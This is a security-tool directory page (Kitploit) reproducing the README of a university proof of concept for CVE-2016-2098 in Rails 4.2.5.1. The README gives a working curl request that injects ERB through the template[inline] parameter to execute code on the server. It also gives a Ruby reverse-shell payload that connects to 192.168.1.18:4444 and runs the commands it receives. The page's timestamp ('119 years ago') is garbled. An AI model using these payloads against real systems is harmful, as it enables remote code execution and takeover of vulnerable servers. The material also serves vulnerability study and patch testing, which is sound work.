Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
rails-PoC-CVE-2016-2098 — Proof of concept CVE-2016-2098 | Kitploit
Tools/GitHubGitHub/alejandro-marting/rails-poc-cve-2016-2098
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubalejandro-marting/rails-poc-cve-2016-2098

rails-PoC-CVE-2016-2098

Proof of concept CVE-2016-2098

View Repository
119 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

A Proof of Concept of vulnerability: CVE-2016-2098

University project created by @alejandro-marting where we can check the vulnerability 2096

Using:

  • rails 4.2.5.1
  • view has a vulnerable code app/views/poc/render1.html.erb

![] (https://github.com/Alejandro-MartinG/rails-PoC-CVE-2016-2098/blob/master/app/assets/images/Captura%20de%20pantalla%20de%202017-01-15%2009:50:23.png)

##Execution: In first place we need run the rails server with the following command:

$ rvmsudo rails server -b 0.0.0.0 -p 80

Now we can cause the remote code execution with the next command:

$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'

(A rooted file should be generate)

If you want try a reverse shell with ruby code inyection, you can run the next command:

root@kitploit:~
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}'  http://localhost:3000/poc/render1

If you have any question contact with me please!

Download Tool